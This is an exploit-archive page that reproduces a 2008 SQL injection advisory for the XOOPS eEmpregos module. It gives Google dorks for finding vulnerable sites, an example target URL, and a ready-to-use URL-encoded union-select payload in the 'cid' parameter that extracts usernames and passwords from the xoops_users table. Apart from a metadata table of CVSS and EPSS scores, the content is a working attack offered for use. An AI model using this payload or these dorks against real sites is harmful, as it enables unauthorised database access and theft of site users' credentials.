Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
N/A | CWE-89 | $500 | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Unknown | High | Remote | 2008-03-06 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | 0.02192 | 0.50148 |
############################################################### # # XOOPS Module eEmpregos SQL Injection(cid) # ############################################################### # # AUTHOR : S@BUN # # HOME 1 : http://www.milw0rm.com/author/1334 # # MAİL : hackturkiye.hackturkiye (at) gmail (dot) com [email concealed] # ################################################################ # # DORK 1 : allinurl: "modules/eEmpregos/index.php" # # DORK 2 : allinurl: cid "modules/eEmpregos" # ################################################################ example http://xxxx/modules/eEmpregos/index.php?pa=view&cid=[exploit] EXPLOIT : -00000000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+0,1,concat(uname,0x3a,pass) /**/from%2F%2A%2A%2Fxoops_users/*/*where%20admin%201=%202 ################################################################ # S@BUN i AM NOT HACKER S@BUN ################################################################
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.